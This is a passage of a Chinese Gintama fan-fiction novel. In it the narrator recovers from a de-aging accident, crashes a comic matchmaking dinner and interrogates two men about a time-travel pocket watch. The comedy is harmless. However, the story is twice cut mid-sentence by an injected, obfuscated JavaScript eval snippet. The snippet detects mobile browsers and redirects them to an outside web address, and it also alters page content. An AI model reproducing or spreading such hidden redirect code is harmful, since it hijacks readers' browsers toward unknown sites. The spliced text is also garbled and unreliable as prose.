一向狠戾的独眸轻阖,高杉哼了声,把人拎下去坐着,随手拿过毛巾给她擦那头湿漉漉的短发。 毛巾太大,几乎把她整个头都包住,揉得她呜呜乱叫,耍赖般在他怀中打滚。 武市变平太目光灼灼地看着她,蠢蠢欲动的手被一道冷光逼退。 “前辈,把口水擦一下吧,你个萝莉控!”又子不爽地道,瞪过去却猝不及防地撞上一双琥珀色笑眯眯的眸子,那个笑容几乎亮瞎她的眼。“不就是个小鬼嘛……” “不,我不是萝莉控,我只是个女权主义者而已。”武市变平太抹了抹脸,满眼真挚,“而且那不是口水,是我感动的眼泪。” “真是的,白夜叉他们搞什么,居然把人弄成这个样子……”又子好奇得很,她只能查到昨天他们在源外那不知道做了什么,进去还是好好的成年人,出来就成了不到三岁的小孩。 想起下属说她还被带去开什么鬼攘夷会议,结果某个蠢货还在被追捕期间把人弄丢,高杉眸光更冷。 怀中的阿萤却完全不受影响般,打了个哈欠,翻个身趴在他腿上。 “看来,她很喜欢你呢,晋助。”万斋抱着手靠在门边,“坂田银时和桂小太郎还在满城找人,要通知他们吗?” 阿伏兔是在巷口碰到她的,没什么人注意到,他们行踪又刻意隐瞒,要找的话大概很难有线索。 高杉拿起怀表看了眼,上头的数字不停跳跃,淡淡地道,“不用。” “那,我去弄点软糯的东西给她吧……刚才洗澡时就一直说饿。”又子别过脸,口气很是不耐烦,“不然,等下又要哭了。” 回来时因为打雷,被吓到的小女娃哭了很久,烦得又子想要一枪毙了她。偏偏那双大眼又直愣愣地看着她掉眼泪,搞得她内疚不已,真是……又不是她弄哭的。 哼,等下再哭她可不会哄……也绝对不让她的晋助大人去哄。 高杉无可无不可地看向窗外的雨景,蓦地垂在身侧的手指一暖,某只团子翻身四肢摊开地睡着,手下意识地抓着他的手指。 “真是神奇,在下还是第一次见人真的会返老还童。”武市变平太自问也算见多识广,从没想到神话故事里头的剧情会真实发生,“若不是查实过,恐怕也很难相信。” 神奇?高杉眼底泛起淡讽,懒得说话。 抓着他手指的笨蛋,从十多年前就一直是同一个样子,见证他们走过松下村塾的美好,也伴着他们走过攘夷的黑暗。 他从没想过,那个笑容会在今日忽然卸下,会哭闹不止,会害怕,会不安,也比长大后的她更加幼稚。 “给老娘张嘴!” 来岛又子蹦着一脸十字路口,凶巴巴地瞪着不合作的小鬼。 阿萤看了看她,又看了看她手上的碗,哼的一声背过身,抗拒的意味很重。巴眨的大眼一瞬不转地看着万斋的餐桌。 万斋被她看得心虚,忍不住夹起一块肉,那道冷光又刺了过来,只好把肉放进自己碗里。 “别看了,你现在吃不了那些!”又子抓着她的头顶,把她扭了过来,“给老娘吃这个!” 阿萤嘴一扁,委屈地看着她。 “那个很硬的!你只能吃软的,这个明明就很好吃。”又子指了指自己手里的碗,带孩子太累了,偏偏又是晋助大人的家人,打又狠不下手。 阿伏兔进门就看到她们在较劲般互瞪,叹口气,“来岛,你这样不行啊……小鬼都是要哄的。” 接过碗,阿伏兔弄了一勺,像是拿着纸飞机般绕了几圈,“看,飞机来咯~张嘴,啊~” 一群人顿时死鱼眼看着他。 高杉独眸轻眯,几不可闻地嗤了声。 阿伏兔恼羞成怒,“别看这样很蠢,大部分孩子都吃这一套啊!以前有个人就是这样哄小孩的。” 啊唔的一声,阿萤一口咬着勺子,乖乖吃下。 “看吧看吧,孩子都吃这一套。”阿伏兔松了口气,他多怕这小鬼拆台。 神威路过,靠在门框上抱手看了一下,挑眉蹲下来,朝她扮鬼脸。 阿萤也不怕他,配合地咯咯笑着,吃下阿伏兔塞过来的食物。 不忍直视地别过头,高杉抿了口酒,暗忖着得赶快把人弄走,不然这船上的人都不正常了。 一个个杀人麻利,现在对着个小鬼就像是白痴一样。 “够了,喂太多她会消化不良的。”忍了又忍,高杉还是提醒了句。 阿伏兔也觉得差不多,伸手举起她逗玩了一会儿,慢慢觉得不对劲,“喂,高杉,你们家的这个……会冒泡泡。” 高杉猛地抬头,阿萤慢慢被一缕烟雾缠绕。独眸微睁,他动作迅速地站起来,一手扯过神威身上的斗篷,兜头朝她罩了下去。 烟雾散去,又子和阿伏兔等人目瞪口呆地看着他怀中抱着的女人。 黑色的发及肩背,散落在斗篷外,抱着高杉脖子的手臂光裸白皙,除此以外斗篷包得严实,只露出一双赤足。 “又见面了~晋晋~”阿萤笑意盈盈地偏头,朝高杉打了个招呼。 高杉冷哼一声,直接撩起斗篷把她的脸也埋了。 ……………… ……………………视觉转回来…………………… 就算翻遍宇宙,我也要把那两个特莱姆星人找出来剁成肉酱喂狗! 听了这两天我都干了些什么,我狠狠地劈断了餐桌,笑眯眯地问高杉能不能灭了这条船的人。 他冷哼一声,把一柄激光剑丢给我,说是补给我的武器,然后让我请便。 好吧,激光剑很好,不用的时候就是一个手柄,方便在有废刀令的今天随身携带。可惜我是真的杀不了虎视眈眈的神威等人…… 妈的,我要找那两个天人出来挫骨扬灰。 愤怒过后,翻看着书桌上高杉给我查到的关于阿尔塔纳的资料,我若有所思。 流动于大地之间的能源,星球的生命力,又被称作“龙脉”,能够被转换为实用性能量,宇宙终端站就是建立在江户的龙脉上,利用这些能源实现了星际远距离移动。宇宙中很多星球也有这种生命力,几次围绕阿尔塔纳的战役之后,各国之间都惧怕其危险性,由此签订了不可侵犯掠夺他国阿尔塔纳的协定,为了互相管理被称为“洞”的阿尔塔纳之门,各国之间组织起了一个叫作“阿尔塔纳保护协会”的联合组织,也就是现在的天道众组织。(部分百度) “天道众管理阿尔塔纳,那他们对地球的龙脉掌控了多少?”我低声喃道。 除了用作能源,它肯定还能产生什么。江华不就是徨安的阿尔塔纳产生的变异体么,那松阳……也是?真麻烦,这个猜测又不能跟高杉说,不然他肯定炸了。 回来这段时间,我深刻地感觉到高杉和银时两个人对松阳的死根本没有释怀,这么多年过去早已经成了埋得极深的炸弹,跟桂不一样,他们死死地纠结在当年的那一刻,只差一个爆发口。偏偏两人都把这份痛深埋,明明眼神同样哀恸,却一个选择中二愤慨,一个选择以笑闹掩饰,一个誓要毁灭一切,一个决意保护一切。 在他们对彼此释怀前,我根本无法跟他们提及我对松阳的所有猜测。 我想得入神,忽然身后传来一道懒散的声音。 “喂,云锣,那小鬼又嚷着要吃米饭啊……” “饭堂是摆设吗?不去就让他饿死算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是的,你能帮忙让他来找我吗?”我现在的身体情况不适宜去远游,只能让他来找我了。 “真是的,早知道就不试探你了,一上来就让人做事。我们团长已经很麻烦了,春雨那里头的事又一堆。”阿伏兔皱眉念叨着,但也没说拒绝。 “谢谢。”我笑着抱了抱他,现在的他虽然举起双手没给面子回抱,但也不会嫌弃地把我丢开了。 为了怕那两个笨蛋自责到切腹,我休息了一下等雨停便带着资料下了船,在高杉不赞同且阴沉的目光中挥挥手告别踏上回歌舞伎町的路。 “回来了啊。” 拉开登势酒馆的门,登势婆婆一脸镇定地看着我,仿佛我只是出了个门游玩。 “阿萤!”凯瑟琳带着泪光扑了过来,“担心死了,那两个笨蛋找到你了吗?” 我摇摇头,安抚地拍拍她,然后靠到登势婆婆身上,“我恢复了自己回来的。婆婆倒是看起来不担心我呢……桑感。” 登势婆婆推了推我的头,没好气地道,“我打电话问过源外,你最迟今早会恢复。而且,街道委员会也没小女孩被拐的消息。你就算是变小了,也不会吃亏,要是有什么,你早哭得全街都知道了。” 啊哈,这么了解我?不过我也知道她在这条街的影响力,要是我没遇到高杉他们,想必她也能找到我。 “他们呢?”我看了看,没发现万事屋三人。 “那个笨蛋坂田银时和蠢货桂找了你两天一夜,现在在河边那里准备切腹。新八和神乐去劝了。”凯瑟琳嘲笑地给我一杯水。 “你们都没跟他们说吗?”既然有把握没事,为什么他们还搞这一套。 “哼,弄丢一个三岁小女孩,他们就是切腹百次也是活该。”登势婆婆吹了口烟,一点也不同情他们,“别那么快过去,先吃点东西吧。” “啊哈~婆婆最好了~”我抱着她就是一顿蹭。 吃饱喝足之后,我慢条斯理地来到河边,新八和神乐,伊丽莎白并排蹲在路边看着那两个坐在河堤边你一拳我一脚,争吵不停的身影,又是摇头又是叹气的。 “他们在干嘛?”我忍不住蹲在他们身后,好奇地问道。 “在努力劝服对方先切腹啊鲁……因为他们觉得先切腹的那个责任更大,罪孽更重。”神乐翻着死鱼眼,挖了挖鼻孔,下意识回道。 这两人还真是……我无语低笑,伸手抱着新八和神乐,手掌捂着他们的嘴。 被我吓了一跳的两人回头,神情顿时激动起来,唔唔地叫个不停。 【阿萤小姐,你回来了】伊丽莎白举牌,大眼泪眼汪汪的。 拍了拍他们,我慢慢起身,做了个俯冲准备动作。然后,极速地往下跑去,一个滑铲把还在争论到底谁责任比较大需要先切腹的两个笨蛋铲进河里。 噗通噗通的两声,两个曾经叱咤风云的笨蛋以极丑的姿势倒栽葱入水。 “吵吵闹闹的,怎么,一把年纪还在发情期吗?”我站在河边,抱手笑看着他们。 “阿萤乖乖~你没事太好了~”桂带泪的表情情真意切,如果忽视他死命踩着水性不行抱着他不放的银时的话,他的画面还算美的。 “鼻子进水了,要沉下去了!快,新八,神乐救我啊……”扯着桂的长发不放的银时挣扎着求救。 新八推了推眼镜,神乐拍了拍裤子上的灰尘,“阿萤姐,回去了,Ladys 4重播时间到了。” “你们给阿银记着!” 61.相亲乱入很可怕 我有点无语地看着眼前的画面,所有人脸色一致的震惊,全场估计只有拉着我们乱入的松平片栗虎,被拉进来的我和桂,不,是娇媚的假发子,还有那个完全状况外的路斯公爵还能保持笑容。 万事屋三人和小玉,他们对面的真选组近藤土方和冲田,还有那个我最近常看到蹲在登势酒馆外偷看的山崎,都是一脸震惊又懵懂的样子。 哦不,假发子和松平片栗虎同框的画面让那边的坂田银时脸色发白地抽搐嘴角。 我想捂脸,昨天是听登势婆婆说万事屋和真选组要给小玉和山崎相亲,但没想到会碰到一起。 银时看过来的眼神已经是想杀人的级别了,感觉他对着我和桂骂得很脏……我有点心虚,桂倒是全然不觉的一脸矜持。 “啊哈哈哈,没想到你们居然订了包厢,叔就不用再花钱了。”松平片栗虎完全没理会下属的惊讶,自顾自地加了位置,邀请我和桂坐下。 “松平公,你这是……”近藤好奇地问道,“这不是月见小姐吗?你们怎么会一起?” 是啊,怎么会一起?我微笑着看向身边的桂。 “是这样的,我听说你们要给山崎相亲,就想起里特星的路斯公爵之前也一直想要找个地球新娘,假发子小姐又刚好有个适龄的女儿,便一起相个亲了。刚好有个伴,也能让山崎衬托一下路斯公爵~”哈哈大笑的松平无视了所有人,指了指他身边穿着笔挺西式宫廷燕尾服,金发紫眸头上长了两个角的俊美男子。 “太过分了,怎么可以这样?”刚自我介绍磕头磕得两眼冒血的山崎在这种鲜明对比下显得更不起眼,欲哭无泪。 松平脸色一厉,“这也是将军大人的命令。” 一句话KO掉想要为他讨个说法的近藤等人。 “what?相亲?” 那边的坂田银时闻言顿时跳起来怒指着我和桂,一脸果然又闯祸的表情,“谁同意的?里特星不是早就被贝吉塔灭掉了吗,哪来的公爵啊?你戴个簪子是怎么回事?阿银就知道你两个凑一起准没好事!” 我摸了摸难得梳起的发髻和登势婆婆特意送的簪子,拒绝被PUA,我明明就美得冒泡,而且我和桂这次是为了正事来的,什么叫没好事? “昂?这位先生跟假发子小姐和月见小姐有什么关系吗?”自己组的局被人质疑,松平睨了过去。 这个问题问得很好,我饶有兴致地偏头看向银时。 银时脸色一变,越发苍白,冷汗潺潺流了一头也说不出一个靠谱的关系。 眼看场面有些混乱,一身紫色和服,画着浓妆的桂淡定地撩头发,呵呵娇笑一下。 “这是孩子她爸,但我们已离婚了。他再婚娶了个小妖精,这不重要,净身出户的。我们母女两人相依为命,我可是有好好培养女儿,我家乖宝琴棋书画样样精通。” 我+银时:……Σ(⊙▽⊙”a 被称为小妖精的神乐先是满意,随后一怒,“开什么玩笑,我们家小玉也是秀外慧中,家务全能啊鲁,就连身上的蓝色和服也比你们家的橙色来得更漂亮,对吧,孩子她爸。” “说什么话呢?我乖宝今天打扮起来是最漂亮的,没看到路斯公爵都看呆了吗?”桂被她这么一说整个人都燃起来了,一甩长发自信地道,“而且我们还送了礼物,那可是攘夷牌的毛巾,哪怕是这个世界的污垢也能干净地擦去!” 坂田银时一把压下神乐的头,探身朝桂拍过来,“闭嘴,这不是重点,假发,你们在搞什么鬼啊!” 是啊,我也觉得眼前的局面很诡异。稳健攘夷派的头子跟警察部队的头子给我组局相亲什么的,我该说荣幸吗? “不是假发,是假发子。孩子她爸,乖宝她的婚事你这个再婚的不能干预哦。”桂掩口敏捷地躲开他的手,“能跟路斯公爵这样的优秀青年相亲,是我们乖宝的荣幸呢。” “啊不,能遇到这么美好的月见小姐,也是我的荣幸。”路斯公爵连忙接口道,紫眸瞥了我一眼,脸蛋都红了。 我保持微笑行了个标准的礼,“今日请多多指教。” 还没行完礼便被银时一把揪起来,他凑到我耳边狰狞着脸低声问,“你们在搞什么鬼?假发真的攘夷攘得脑子坏掉想要加入警察了吗?” “不,”我配合地低声道,“他收到消息说里特星的残余部队最近打算跟政府合作搞事情,想要打听一下,刚好松平大叔有这个需求,他在假扮保姆的时候就顺势计划这次相亲了。我是被拉来帮忙的,因为伊丽莎白被松平大叔嫌弃太害羞不会说话。” 就算它能如孔雀开屏般一下子能甩出十多块白板都无法改变太害羞不说话这个bug,备受打击的伊丽莎白*女儿二号还躲在外头待机。 银时听完后更怒了,面目狰狞地掐着我脖子低吼,“他脑子坏掉就算了,你脑子也上线一下好吧!都是警察啊,这事要是出什么问题,你们那空空的脑袋都要搬家啊……” 谁脑袋空空啊?这个时代我和爱因斯坦也只能存在一个而已! 我刚想说什么,被他压着的桂和神乐已经怒了,一下子直起身把他撞了回去。 顶着他又怒又急的眼神,我只能耸耸肩表达无奈。 事已至此,还能说什么呢?相亲吧。 “一个是已经被贝吉塔灭掉的星球的没落贵族,一个是毫无存在感的偷窥警察,”坚决要坐在两桌之间的银时唰地打开折扇扇风,不屑地嘲讽,“两个孩子她妈,绝对不能让女儿们嫁到这样的人家啊。” 他现在已经完全代入了女方父亲的角色,姿态也变得高高在上起来,甚至有几分恶毒婆婆的挑剔嘴脸。 “老板,这样说太过分了。相亲应该看当事人是否合适,所以请让小玉跟我们山崎来一发吧。”冲田总悟面无表情举手,理所当然地建议。 “诶——”山崎惊得瞬间红温,晃动的眼瞳不敢看人。 “人类相亲是这样的流程吗?那……就请月见小姐跟我也来……”路斯公爵红着脸看过来。 话没说完,银时和桂已一人一杯热茶扔了过去,正中两个男方的脸。随后,两人异常同频动作一致地拍了拍手,“啊,不好意思,手滑了。” “nice job。”我+小玉。 不得不说,这对前夫妻(误)在某方面默契还真好。 土方十四郎一手把搞事情的冲田压进榻榻米里,“不好意思,混进了什么奇怪的东西。麻烦重来一次,相亲还是得看对方条件,我们山崎可是有编制的公务员啊,你们就知足吧。” “昂?毫无钱途的流氓警察,连家产都不知道炸光了没有的落魄贵族,我们两家子怎么可能看得上你们?”银时摇着扇子,毫不掩饰嘲讽。 神乐不屑地看了眼两个擦脸的当事人,故作刻薄地捂嘴,“这些公务员还以为可以光天化日之下强抢民女呐。” 桂惊讶地掩口,“怎么会,就算是没落的贵族,路斯公爵依然资产丰厚,现在又跟将军大人合作经营,一定很有前途呐~” 截然不同的评价让两个被评论的男方露出相反的表情。路斯公爵脸色微红略显骄傲,而山崎绝望地流着宽面条泪,可怜兮兮地看向自家三个兄弟。 土方十四郎眼看着自己的人被诋毁,还是带着这样的对比,顿时不乐意了,“我可不想被欠了一屁股债的人这样说啊,能和公务员相亲,你们就该感恩戴德了。” “副长,我没有这个意思啊!”山崎连忙澄清。 “这个态度真是让人不爽,新八,这边的流氓警察扣三十分啊。”银时摇着扇子轻蔑地笑道。 我好奇地看到新八刷刷地在板子上写着什么,暗忖这个扣分标准是什么。 神乐轻蔑地摆了摆手,语气轻挑,“孩子他爸,刚才他说的是黑/道上的话吗?太没品了我都没听懂。” 桂一听到这种话,下意识反应,“不是黑/道,是攘夷大业!” 银时一扇子甩过去,“没人跟你说这个!” “妈咪!”我连忙抱着额头喷血的桂。 松平片栗虎悠然地点了口烟,“喂喂,作陪的人们先吵起来不太好吧。男人面对心仪的女人,就要主动出击啊,靠别人追来的女人只会记挂着别人的。” 这句话让我对他刮目相看,难怪听桂说他跟老婆关系非常好,虽然经常逛夜店。但再怎么有觉悟,二手烟我还是拒绝的。 我随手拿过喷花的水壶朝他喷了喷,“店内禁止吸烟呐,松平大叔。” 被我喷了一脸水雾的他也不恼,拿下烟哈哈大笑着拍拍路斯公爵,“看吧,我们人类的女人都是管男人的高手。” “是,那将来就请月见小姐多多指教了。”脸都红了一片的路斯公爵低着头道。 他这么说,我一时间也不知道该接什么话。 “喂喂,别一副成了的样子好吧。这种普信男要扣五十分啊,新八!”银时扇子指着我,看不下去地龇牙咧嘴,“那个什么落魄公爵,这个女人不但能管男人,还有一屁股风流债,S起来多少个里特星都能毁掉啊!” “银桑,这个需要扣阿萤姐的分吗?还是给落魄公爵加分?”新八拿不准标准,尽责地举手提问。 “把分扣到落魄公爵账上,再扣二十分吧。这种抖S也能看上,光是眼光都要负分了。”银时指着我的扇子上下摇了摇。 “谁是抖S啊?说到风流债,你好意思说别人吗?”我拍掉他的扇子,不屑地道。 整个歌舞伎町谁不知道我亲切随和,也不知道他哪来的偏见,S什么的跟我从来不搭好吧,抖S明明是他。 因为无聊网上找兼职意外混进善后屋的任务,我跟猿飞也熟了起来,听过不少她骇人的言论。要我提醒他的小母狗几乎每次看到我都要炫耀一下他的XP吗? 银时一眼就知道我想什么,炸毛地吼过来,“给老子倒干净你脑子里的黄色垃圾,阿银哪有你玩得厉害?人妖店的猛男排着队等你呢!” 我刚想反驳,但神乐听到他的话率先不乐意了,她已经沉浸在小玉妈妈的角色里头,“我们小玉虽然不能毁掉星球,但她能出厅堂能进厨房啊鲁,是个完美的女人,啊不,机器人。她还只喜欢madao,对肌肉人妖和游女都没兴趣的!” 桂听到神乐的话也不乐意了,他也很沉浸在我妈妈的角色里头,“我乖宝不但能毁灭星球,还能做很好吃的料理,各式各样的甜品也很出色,对吧,银时,啊不,孩子她爸!” 他转头瞪着死鱼眼的银时,大有不点头他就要开揍的意思。 银时挠了挠脸,勉强地点点头,神乐不悦地一个巴掌呼过去。 “料理的话,我确实还是可以的。”我缓和一下场面,笑着朝路斯公爵道,“有机会请你试试我的手艺。” 这样一来,更有机会试探他。我望了一眼桂,他马上会意。 “那太感谢了。”路斯公爵喜得眼神一亮,松平片栗虎嘚瑟地朝近藤土方等人比了个胜利的手势。 “银桑,这个要加分吗?”新八推了推眼镜,继续问道。 “给老子扣流氓警察五十分啊!”银时唰地打开扇子挡在我和路斯公爵之间,没好气地哼道。 山崎无端中箭,顾不得害羞人设举手反驳,“诶,为什么啊?” “连这种不知道什么物种的公爵都不如,身为人类的你就这种表现不该为自己感到羞愧吗?这个分是全人类一起扣你的!”银时不屑地挑眉,理所当然得让真选组的后援团都反驳不了。 打发了插满箭的山崎,他转头瞪着路斯公爵。 “那什么穷鬼公爵,没有机会,新时代相亲这种事情就是见一面然后没下文的,连手机号码都不需要留下啊,这女人不是你能驾驭的哦,公爵大人~” 说罢,他警告地瞪了我一眼,让我刚打算出口的反驳又吞了下去。 山崎宽面条泪看到自己的扣分项,想要反抗又没有底气的样子有些可怜。 大概是看到山崎小狗般的眼神,体贴的小玉适时地道,“如果是料理的话,我也是不会输的。山崎大人,你要是想吃,我可以马上为你做。” “真的吗?”山崎感动得两眼泛起泪光。 小玉点点头,搬出铁板烧的盘,突然作呕起来,那声音让我想起以前办公室的孕妇,机器人的声音非常有感染力。 听着听着,我已经有点想吐了。 “呕……不知道为什么,我觉得好想吐,难道是怀孕了?”我受不了地呕了两声,捂着发闷的胸口。 桂和银时想也不想地一掌拍在我后脑,“别说这么恐怖的话啊!” 痛死我了!这两人的默契在揍我的时候能不能不要这么好! “不是,她这样没问题吗?”我捂着头,问出了大家的担忧。 “各位安心吧,我家小玉可以直接在体内处理食材制成菜肴,不会变成你们脑补的那样,没问题的。”银时自信满满。 然而看着小玉吐出来的那堆马赛克,所有人大喊,“她是吐出来的吧!” 被邀请品尝的山崎脸色难看极了,对上小玉的目光,求救般看向其他人,“我一个人吃不完,要不大家一起吃?” “不,我们已经自制了。”我+近藤+土方+桂+冲田+新八,各自捧着自己手上的马赛克呕吐物。 “那根本就是你们吐的吧!”山崎抓狂大喊。 刚才吃得最多的银时和神乐两人也忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271320|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住拎着塑料袋大吐特吐。一时间,房间内呕声不段。 小玉表情不变,只是忽然起来拉门出去了。 大家脸色不约而同地阴沉起来。 “哼,就这点东西都不能入口,怎么度过婚后漫长的一日三餐?男人啊,爱一个女人就要连她的腋毛也一起爱才对。”松平片栗虎不屑地撇撇唇,拿着垃圾袋吐了几口,脸色发青地道,“看我们路斯公爵,连眉头都不曾皱一下呢。” “不,他已经晕过去了。”桂擦过嘴角的呕吐污迹,探了探他的鼻息。 虽然如此,但山崎还是深有感悟,连忙拉开门追了出去。 一场闹剧就这样结束。 “妈咪,我们上,恋爱还是得看别人谈啊~”我感兴趣地打算跟出去,围观一场我的机器人女友的戏码。 还没站起来,我就被拎住了领子,转头便看到银时那张晚娘一般的黑脸。 “看什么看,走了,你们两个白痴,老子回去再好好审你们!”银时一手一个拎起我和桂,咬牙切齿地低语,“敢私自出来相亲,搞这些混事,回去就把你们的脑子劈开看看装的是什么垃圾。” “我装的只有这个国家的黎明!”桂异常坚定,想也不想地道。 “昂?什么黎明?”耳尖的松平听到,好奇地问道。 我和银时顿时一惊。 全员静止之际,两抹我寻找良久、恨之入骨的身影从方才山崎拉开的门闪过。我瞳孔都瞬间紧缩了,猛地跃起,探手间刀柄在手。机关一按,激光剑顿时迸发蓝色的光。 “给老子站住!” 刹那间砍碎了拉门,我直接朝那两个一胖一瘦的人砍了过去。 兵器交接的声响连同对冲的气流顿现,冲田总悟的刀挡在那两个跌在地上的人身前。 “在警察面前持刀伤人可不行哦,月见~”冲田总悟抬眸看我的眼神波澜不兴,仿佛毫不惊讶,语气却有点兴奋,“啊啦啊啦,这眼神很S哦,像个恶鬼一样……” 我眼一眯,抬腿扫了过去,手中的激光剑灵活地飞舞。 “阿萤!”桂追了出来,脸色一变。 眼尖地看到那两个身影想要逃,我头也不回地叫道,“银时,假发,给我追!” 两道身影骤闪而过,是他们应声追了过去。土方见状连忙跟上,我提脚踢飞了院子里的花盆拦下他。 冲田总悟的剑术非常不错,我一时间根本占不到上风,倒是那小子的眼神越来越兴奋,隐约有种神威的即视感。要同时拦下他和顾忌着我是女人没认真动手的土方,穿着传统振袖和服的我也觉得费劲。 心念一转,激光剑顿时消失,冲田的刀落空。抓住那刹那的空隙,我翻身以腿勾住他的脖子,腰猛地用力旋转,把他整个人甩在落地。随后趁着他冲过来的身势,弯身靠近一把抓着他的衣襟,一个过肩摔把他甩到土方身上。 然后,我非常配合地举起手做投降状,笑着面对松平指着我的枪。 “哦喂,我们人类的女人还真是深藏不露呢,路斯公爵要掂量掂量一下自己的斤两哦~”松平片栗虎咧开有些无赖的笑,对我袭警的行为有另一番见解,“月见小姐的体术很不错哦,一下子就KO了两个不中用的男人。” “谁不中用啊!起来啊,总悟,你是故意的吧!”土方被冲田压在身下,冲田爬起来时两次拿屁股压了他的脸。 “不好意思呢,月见太强我站不稳。”冲田一本正经地甩锅。 新八和神乐面面相觑,连忙跑过来,“阿萤姐,是怎么了吗?” 我笑着摆摆手,随口道,“没事,就是看到了两个失踪很久的老朋友,他们欠了我很多钱,一时情急就……” “啊?只是欠了钱?”新八明显不信,不止是他,连那边的松平和土方都面露怀疑。 “那一定是很多钱吧。”近藤有点同情地看着我,“欠钱的人最麻烦了,打骂不得还要供着让他还钱。” “也不是很多,只是作为一个普通女人,这辈子可以爱很多人,但赚不了几个钱……遇到了欠债不还的,我也很痛苦……才会那么激动。”我哀怨地捂颊,一本正经地胡扯。 刚拖着人回来的银时两人听到这话,顿时死鱼眼瞪着我。 “假发子小姐的身手也很不错哦……”松平片栗虎摸着下巴看向妆发不乱的桂,若有所思地赞道。 桂十分熟练地捂着胸口作柔弱状,“一个母亲为了女儿是会拼命的,就像夫人因为栗子小姐私自谈了个小黄毛把你暴揍后丢出门一样。” “那倒是……不对,栗子什么时候谈了小黄毛?”松平片栗虎顿时紧张了,“老婆上次开揍是这个原因吗?” 我检查过那两人,露出久违的冷笑,终于落到我手里了,这两个混蛋。 银时烦躁地应付着真选组的人,随意扯了个理由就要撤。 “月见小姐……”忽然,路斯公爵走了过来,伸手握着我的手,朝我单膝跪地,“没想到你的武术如此高超,你的身影让我迷醉,你的英姿让我心动,我此刻无比确认,你就是我心仪的新娘,请你嫁……” 说着就要亲上我的手背,在我反应过来之前,一只大手捂住了他半张脸一个用劲把人翻转整个按进地里,紧接着一只脚丫用力把他踩得更深。 “诶,不知道是什么挡了路,晦气着呢。爸爸跟你说了多少次,别什么垃圾都碰。”银时动了动肩膀,一把扯过我的手,撩起袖子给我擦了擦,脸色一片阴影,“回去了,新八,神乐,今天得找些驱邪的东西给她洗一下才行。” “前进的道路总是有些让人头疼的垃圾,埋了就好。乖宝,相亲这种东西就是见一面然后泯灭于江湖,日后见到也需要装不认识的。我们走吧,妈咪累了。”桂撩了撩长发,半张脸陷入黑暗。 这两个人是入戏太深了吗? “哈……你们喜欢就好。”我个人没什么意见,只当看了场闹剧。 “月见,废刀令之下,就算是激光剑也不行哦。下次就不是这样小打小闹了。”冲田总悟朝我比了个手势。 我态度极好地笑着点点头,下次再说吧。 招呼了新八和神乐帮忙扛人,银时拉着我和桂往外走。 “不用跟走狗们道别吗?”桂生怕自己没礼貌影响他的攘夷口碑。 “闭嘴,你们两个脑袋还在就感恩戴德吧……在警察长官面前什么的。真是,合着最劳碌的就是阿银啊?”银时没好气地一手一个拖着我们走。 我一步一回头地看着那两个被神乐扛着的人,确保他们没溜掉,听到他的抱怨忍不住笑了,“那真是辛苦了呢,再婚后还得管着前妻和女儿,是吧,父亲大人~” “少啰嗦!” 62.谁要顺应命运啊 把那身连体服剥掉,再以小猿教的手法把两个穿着三角裤的男人五花大绑起来后,我翘着二郎腿好整以暇地看着默默流了一脸宽面条泪的他们。 他们身体的下方,桌子上放着我的怀表。 “宇宙里面根本没有特莱姆星,你们也不是天人……真是让我好找呢。” 桂从我开始说过后一直有帮忙留意,但作为地下组织头子的他居然没找到半分线索。直到我找了阿伏兔来问,在宇宙中乱跑了近二十多年的海盗也不知道宇宙中有这么一个星球。没碰到过就算了,宇宙浩瀚,但连听也没听说过,甚至在春雨的资料库都没记录…… 这一切都让我有种奇怪的感觉,也许,那两个人根本就不是天人。 如果是这样,那就不奇怪我们找不到。本来都快要放弃了,人海茫茫,没想到一场胡闹的相亲局居然能撞上。 两人闻言,脸色顿时一白,随后一青,最后终结在一副死定了的表情上。 “说吧,”我把菜刀啪地敲在桌子上,冷冷地看着他们,“你们到底是谁,我又到底是怎么回事!” 一胖一瘦的两人被吊在半空,对望几眼后,瘦子才巍颤颤地开口,“我们……其实也不知道你是怎么回事……” 我抬腿就踹了一下,他被我踹得来回摆动,也不知道扯痛了哪里,叫得又惨又变态的。 “这东西是你们给我的,我身体的问题和时空跳跃的事,你们不知道?说笑呢!”我指着怀表,慢吞吞地竖起手中的菜刀,阴恻恻地笑了,“是我表现得太友好了吗?对不起,我该像个坏人一点。” 两个人像虫子一样在空中蠕动,表情像是在看全球禁播的恐怖片。 “既然什么都不知道,那就去三途川吧……反正解释什么的,哪有解决来得容易啊。”我拿着菜刀,往他们脖子比了比,压低嗓音轻笑,“是一刀了解呢,还是先放血,再让你流干血慢慢死呢~就像是杀鸡一样,啧啧,你知道自己身上的血慢慢流干的感觉么?” 胖子浑身的肉都在颤抖,受不了地道,“不,不要啊,我说了……呜呜呜,我说了……你是被选中的封印啊!” “喂,你怎么……”瘦子还没说完,就被我拿刀抵在脖子间。 “坦白从宽,抗拒……就去死吧。”我埋入阴影里头,唯有目光灼灼逼人。 “是命运选择了你……我们是从很久以前就一直侍奉着龙脉的僧侣,不像那些神社,我们一族很早就隐入平民里。因为我们,是最后的防线。”见我没有半分开玩笑的意思,胖子嗫喏地坦白。 “选择我?为什么是那个时候?因为你们在吉原浪才搞出事?”一般来说,这种天命什么的不是出生就选择的吗?我不耐放地指了指自己。 “不,被选择的是你,那个时候起的你。”瘦子沉默一下,低声道,“我们也不知道是怎么回事……只是预言有一天龙脉会爆发,而有人会被选择成为龙脉的封印。一直以来,我们都在等候,直到你出现便把时间跳跃的装置交给你,命运会告诉你下一步怎么走。” 我越听,心底越冷,内心却又燃起一丝怒火。 什么叫选择我,什么龙脉,凭什么……那不就是一种能源?既然是科技可以解释的就不要说得那么玄乎好么?我刚开始顺利的人生,不是这种东西能打乱的! 